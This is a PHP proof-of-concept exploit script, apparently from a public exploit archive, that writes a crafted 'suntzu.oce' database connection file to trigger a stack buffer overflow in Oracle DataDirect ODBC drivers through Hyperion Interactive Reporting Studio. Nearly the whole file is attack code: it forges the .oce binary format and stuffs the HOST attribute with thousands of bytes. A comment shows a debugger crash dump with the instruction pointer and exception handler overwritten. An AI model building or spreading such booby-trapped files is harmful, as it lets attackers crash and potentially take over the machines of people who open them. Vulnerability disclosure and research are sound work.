<?php
/*
Oracle DataDirect ODBC Drivers HOST Attribute arsqls24.dll Stack Based Buffer
Overflow PoC (*.oce)
by rgod
found a local vector for this:
http://retrogod.altervista.org/9sg_oracle_datadirect.htm
http://www.exploit-db.com/exploits/18007/
This poc will create a suntzu.oce file
which should work against Hyperion Interactive Reporting Studio
which is delivered with Oracle Hyperion Suite.
When clicked a login box appears, on clicking OK an error message
also appears then error then... boom!
description for .oce :
Interactive Reporting database connection file
file association:
"C:\Oracle\Middleware3\EPMSystem11R1\products\biplus\\bin\\brioqry.exe" "%1"
crash dump, eip and seh overwritten, unicode expanded,
I suppose one should be able to deal with it :
(208.152c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000008b ebx=00000000 ecx=0e752eb8 edx=0f490000 esi=0e6b3d60 edi=0012a338
eip=00410043 esp=0012a2d8 ebp=0012a2ec iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
brioqry+0x10043:
00410043 0152ff add dword ptr [edx-1],edx ds:0023:0f48ffff=????????
0:000> g
(208.152c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000008b ebx=00000000 ecx=00410041 edx=7c8285f6 esi=00000000 edi=00000000
eip=00410043 esp=00129f10 ebp=00129f30 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
brioqry+0x10043:
00410043 0152ff add dword ptr [edx-1],edx ds:0023:7c8285f5=244c8b00
*/
function _x($x){
global $buff;
list($x) = array_values(unpack('V', $x));
$x = $x + strlen($buff);
$x = pack('V',$x);
return $x;
}
$buff = "mydatabase.com".
str_repeat("\x20",16). //cosmetics, no AAAA... inside the login box
str_repeat("\x41",4000);
//$dsn="DRIVER=DataDirect 6.0 Greenplum Wire Protocol;HOST=;IP=127.0.0.1;PORT=9;DB=DB2DATA;UID=sa;PWD=null;";
//$dsn="DRIVER=DataDirect 6.0 MySQL Wire Protocol;HOST=;IP=127.0.0.1;PORT=9;DB=DATA;UID=sa;PWD=null";
$dsn="DRIVER=DataDirect 6.0 PostgreSQL Wire Protocol;HOST=;UID=system;PWD=XXXXXXXXX;";
while (!(strlen($dsn)==166)){ //fill the gap
$dsn.="\x20";
}
$dsn=str_replace("HOST=;","HOST=".$buff.";",$dsn);
$dump=
"#BRIF\x20BIN001".
"\x00\x00\x00\x00".
_x("\x7b\x07\x00\x00"). //header length, increase counter
"\x37\x00\x00\x00". //path length
"D:\\Documents\x20and\x20Settings\\Admin\\Desktop\\Predefinito.oce".
"\x01\x00\x01\x00".
"\x00\x00\x07\x00".
"\x00\x00\x0a\x00".
"\x00\x00".
_x("\xa6\x00\x00\x00"). //dsn length
$dsn.
"\x00\x00\x00\x00".
"\x00\x00\x00\x00".
"\x04\x00\x00\x00".
"True".
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x01\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x04\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\r\x00\x00\x00".
"ColItem.Table".
"\x01\x00".
"\x00\x00\x04\x00\x00\x00\x12\x00\x00\x00".
"ColItem.TableAlias".
"\x01\x00\x00\x00\x10\x00".
"\x00\x00\r\x00\x00\x00".
"ColItem.Owner".
"\x01\x00\x00\x00\x1c\x00\x00\x00\x0c\x00\x00".
"\x00".
"ColItem.Type".
"\x01\x00\x00\x00(\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00".
"Source".
"\x01\x00\x00\x00\x05\x00\x00\x004\x00\x00\x00\x05\x00\x00\x00".
"Where".
"\x01".
"\x00\x00\x00\x05\x00\x00\x008\x00\x00\x00\x07\x00\x00\x00".
"OrderBy".
"\x01\x00".
"\x00\x00\x05\x00\x00\x00<\x00\x00\x00|\x00\x00\x00\x04\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x09\x00\x00\x00\x0c\x00\x00\x00ColItem.Name\x01\x00\x00\x00".
"\x04\x00\x00\x00\x10\x00\x00\x00".
"ColItem.ColAlias".
"\x01\x00\x00\x00\x10\x00\x00\x00".
"\x0e\x00\x00\x00".
"ColItem.ColNum".
"\x01\x00\x00\x00\x1c\x00\x00\x00\x0f\x00\x00\x00".
"ColItem.ColType".
"\x01\x00\x00\x00(\x00\x00\x00\x10\x00\x00\x00".
"ColItem.NumBytes".
"\x01\x00\x00\x004\x00".
"\x00\x00\x0e\x00\x00\x00".
"ColItem.Places".
"\x01\x00\x00\x00@\x00\x00\x00\x0e\x00\x00".
"\x00".
"ColItem.Digits".
"\x01\x00\x00\x00L\x00\x00\x00\r\x00\x00\x00".
"ColItem.Nulls".
"\x01\x00\x00\x00X\x00".
"\x00\x00\x12\x00\x00\x00".
"ColItem.NativeType".
"\x01\x00\x00\x00d\x00\x00\x00\x03\x00\x00".
"\x00\x06\x00\x00\x00".
"Source".
"\x01\x00\x00\x00\x05\x00\x00\x00p\x00\x00\x00".
"\x05\x00\x00\x00".
"Where".
"\x01\x00\x00\x00\x05\x00\x00\x00t\x00\x00\x00\x07".
"\x00\x00\x00".
"OrderBy".
"\x01\x00\x00\x00\x05\x00\x00\x00x\x00\x00\x000\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x0b\x00\x00\x00\x06\x00\x00\x00".
"PTable".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x04\x00\x00\x00\x06\x00\x00\x00".
"POwner".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x08\x00\x00\x00\x07\x00\x00\x00".
"PDBName".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x0c\x00\x00\x00\x08\x00\x00\x00".
"PColName".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x10\x00\x00\x00\x06\x00\x00\x00".
"FTable".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x14\x00\x00\x00\x06\x00\x00\x00".
"FOwner".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x18\x00\x00\x00\x07\x00\x00\x00".
"FDBName".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x1c\x00\x00\x00\x08\x00\x00\x00".
"FColName".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\x20\x00\x00\x00\x06\x00\x00\x00".
"SeqKey".
"\x01\x00\x00\x00\x05\x00\x00".
"\x00\$\x00\x00\x00\x06\x00\x00\x00".
"Source".
"\x01\x00\x00\x00\x05\x00\x00\x00".
"(\x00\x00\x00\x05\x00\x00\x00".
"Where".
"\x01\x00\x00\x00\x05\x00\x00\x00,\x00".
"\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n".
"\x00\x00".
"\x00\x09\x00\x00\x00".
"SrcDBName".
"\x01\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00".
"\x00\x08\x00\x00\x00".
"SrcOwner".
"\x01\x00\x00\x00\x05\x00\x00\x00\x08\x00\x00".
"\x00\x08\x00\x00\x00".
"SrcTable".
"\x01\x00\x00\x00\x05\x00\x00\x00\x0c\x00\x00".
"\x00\x08\x00\x00\x00".
"LookupID".
"\x01\x00\x00\x00\x05\x00\x00\x00\x10\x00\x00".
"\x00\x0b\x00\x00\x00".
"ColumnValue".
"\x01\x00\x00\x00\x05\x00\x00\x00\x14\x00\x00".
"\x00\x11\x00\x00\x00".
"ColumnDescription".
"\x01\x00\x00\x00\x05\x00\x00\x00\x18\x00\x00".
"\x00\x0c\x00\x00\x00".
"LimitMapFrom".
"\x01\x00\x00\x00\x05\x00\x00\x00\x1c\x00\x00".
"\x00\r\x00\x00\x00".
"LimitMapWhere".
"\x01\x00\x00\x00\x05\x00\x00\x00\x20\x00\x00\x00".
"\x0b\x00\x00\x00".
"LookupWhere".
"\x01\x00\x00\x00\x05\x00\x00\x00\$\x00\x00\x00\x0e".
"\x00\x00\x00".
"IsCustomLookup".
"\x01\x00\x00\x00\x01\x00\x00\x00(\x00\x00\x00\x04\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00".
"\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00".
"\x00\x0c\x00\x00\x00".
"NumTableTabs".
"\x01\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00".
"\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00".
"\x00\r\x00\x00\x00".
"NumColumnTabs".
"\x01\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00".
"\x8a\x00\x00\x00\x17\x00\x00\x00yyyy-mm-dd\x20HH:MM:SS.fff\x17\x00\x00\x00yyyy-mm-dd\x20HH:MM:SS.fff\x17\x00".
"\x00\x00yyyy-mm-dd\x20HH:MM:SS.fff\n".
"\x00\x00\x00yyyy-mm-dd\x08\x00\x00\x00HH:MM:SS\x17\x00\x00\x00yyyy-mm-dd\x20HH:MM:SS.fff\x00".
"\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00DateAttr\x06\x00\x00\x00\x05".
"\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00\x12\x00\x00\x00".
"TableCat.DaOCEPref".
"\x01\x00\x00\x00".
_x("N\x01\x00\x00").
"\x10\x00\x00\x00".
"ColCat.DaOCEPref".
"\x01\x00\x00\x00".
_x("@\x02\x00\x00").
"\x11\x00\x00\x00".
"FKeyCat.DaOCEPref".
"\x01\x00\x00\x00".
_x("\xf6\x03\x00\x00").
"\x15\x00\x00\x00".
"LimitMapSQL.DaOCEPref".
"\x01\x00\x00\x00".
_x("%\x05\x00\x00").
"\x15\x00\x00\x00".
"TableFilter.DaOCEPref".
"\x01\x00\x00\x00".
_x("e\x06\x00\x00").
"\x15\x00\x00\x00".
"TableRemarks.DMParams".
"\x01\x00\x00\x00".
_x("x\x06\x00\x00").
"\x16\x00\x00\x00".
"ColumnRemarks.DMParams".
"\x01\x00\x00\x00".
_x("\xa4\x06\x00\x00").
"\x14\x00\x00\x00".
"DateFormats.DMParams".
"\x01\x00\x00\x00".
_x("\xd1\x06\x00\x00").
":\x00\x00\x00".
"\x0e\x00\x00\x00".
"OpenCatalogExt".
"\x01\x00\x00\x00".
"\x05\x00\x00\x00".
"\x04\x00\x00\x00".
"\x06\x00\x00\x00".
"IsUTF8".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
"?\x00\x00\x00".
"\x07\x00\x00\x00".
"SavePwd".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
"@\x00\x00\x00".
"\x08\x00\x00\x00".
"ConnType".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
"A\x00\x00\x00".
"\x07\x00\x00\x00".
"ApiCode".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
"E\x00\x00\x00".
"\x07\x00\x00\x00".
"SvrCode".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
"I\x00\x00\x00".
"\x08\x00\x00\x00".
"Extra1_1".
"\x01\x00\x00\x00".
"\x05\x00\x00\x00".
"M\x00\x00\x00".
"\x06\x00\x00\x00".
"CurrDB".
"\x01\x00\x00\x00".
"\x05\x00\x00\x00".
_x("\xf7\x00\x00\x00").
"\x06\x00\x00\x00".
"DBList".
"\x01\x00\x00\x00".
"\x05\x00\x00\x00".
_x("\xfb\x00\x00\x00").
"\r\x00\x00\x00".
"MetaData_Save".
"\x01\x00\x00\x00".
"\x05\x00\x00\x00".
_x("\xff\x00\x00\x00").
"\x0b\x00\x00\x00".
"MetaDataKey".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("\x07\x01\x00\x00").
"\x12\x00\x00\x00".
"InformaticaWritten".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x0b\x01\x00\x00").
"\x0c\x00\x00\x00".
"SelectCommit".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("\x0c\x01\x00\x00").
"\x0b\x00\x00\x00".
"DBCancelOpt".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("\x10\x01\x00\x00").
"\n\x00\x00\x00".
"StringMode".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x14\x01\x00\x00").
"\x0b\x00\x00\x00".
"EdaHardQuit".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x15\x01\x00\x00").
"\x08\x00\x00\x00".
"DisTrans".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x16\x01\x00\x00").
"\x08\x00\x00\x00".
"UpdValid".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x17\x01\x00\x00").
"\n\x00\x00\x00".
"UseODBCDlg".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x18\x01\x00\x00").
"\x09\x00\x00\x00".
"JoinInfoQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x19\x01\x00\x00").
"\n\x00\x00\x00".
"GuessJoinQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x1a\x01\x00\x00").
"\x0b\x00\x00\x00".
"CustomJoinQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x1b\x01\x00\x00").
"\x0b\x00\x00\x00".
"CustTblQryQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x1c\x01\x00\x00").
"\x09\x00\x00\x00".
"FastModeQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("\x1d\x01\x00\x00").
"\n\x00\x00\x00".
"CurrOCETab".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("\x1e\x01\x00\x00").
"\x07\x00\x00\x00".
"CurrTab".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("\"\x01\x00\x00").
"\r\x00\x00\x00".
"CurrRepManTab".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("&\x01\x00\x00").
"\x0e\x00\x00\x00".
"UseODBCDBNameQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("*\x01\x00\x00").
"\n\x00\x00\x00".
"UseTblSqlQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("+\x01\x00\x00").
"\x07\x00\x00\x00".
"QuotedQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x(",\x01\x00\x00").
"\x09\x00\x00\x00".
"ChangeDBQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("-\x01\x00\x00").
"\r\x00\x00\x00".
"SaveUserNameQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x(".\x01\x00\x00").
"\x0c\x00\x00\x00".
"UseTimeLimit".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("/\x01\x00\x00").
"\x09\x00\x00\x00".
"TimeLimit".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("0\x01\x00\x00").
"\x0c\x00\x00\x00".
"AllowNonJoin".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("4\x01\x00\x00").
"\x07\x00\x00\x00".
"MDDMode".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("5\x01\x00\x00").
"\n\x00\x00\x00".
"PacketSize".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("6\x01\x00\x00").
"\x0c\x00\x00\x00".
"DisableAsync".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x(":\x01\x00\x00").
"\x06\x00\x00\x00".
"IsHPIW".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x(";\x01\x00\x00").
"\x10\x00\x00\x00".
"RetainDateFormat".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("<\x01\x00\x00").
"\x10\x00\x00\x00".
"AdvSetOperations".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("=\x01\x00\x00").
"\x10\x00\x00\x00".
"MemberProperties".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x(">\x01\x00\x00").
"\x1c\x00\x00\x00".
"UseOracleOuterJoinOpOnLimits".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("?\x01\x00\x00").
"\x18\x00\x00\x00".
"UseODBCOuterJoinOnLimits".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("@\x01\x00\x00").
"\x16\x00\x00\x00".
"UseODBCOuterJoinSyntax".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("A\x01\x00\x00").
"\x10\x00\x00\x00".
"OracleBufferSize".
"\x01\x00\x00\x00".
"\x03\x00\x00\x00".
_x("B\x01\x00\x00").
"\x08\x00\x00\x00".
"CustTblQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("F\x01\x00\x00").
"\x08\x00\x00\x00".
"CustColQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("G\x01\x00\x00").
"\x0c\x00\x00\x00".
"FilterOwnerQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("H\x01\x00\x00").
"\x0c\x00\x00\x00".
"FilterTableQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("I\x01\x00\x00").
"\x0b\x00\x00\x00".
"FilterTypeQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("J\x01\x00\x00").
"\x0c\x00\x00\x00".
"DefineTableQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("K\x01\x00\x00").
"\x0c\x00\x00\x00".
"DefineOwnerQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("L\x01\x00\x00").
"\x0b\x00\x00\x00".
"DefineTypeQ".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("M\x01\x00\x00").
"\x15\x00\x00\x00".
"FilterBRIOTblsSetting".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("q\x06\x00\x00").
"\x19\x00\x00\x00".
"UseDifferentRepConnection".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("r\x06\x00\x00").
"\x11\x00\x00\x00".
"MetaDataOwnerName".
"\x01\x00\x00\x00".
"\x05\x00\x00\x00".
_x("s\x06\x00\x00").
"\x09\x00\x00\x00".
"AdvOption".
"\x01\x00\x00\x00".
"\x01\x00\x00\x00".
_x("w\x06\x00\x00").
"\x00";
file_put_contents("suntzu.oce",$dump);
?>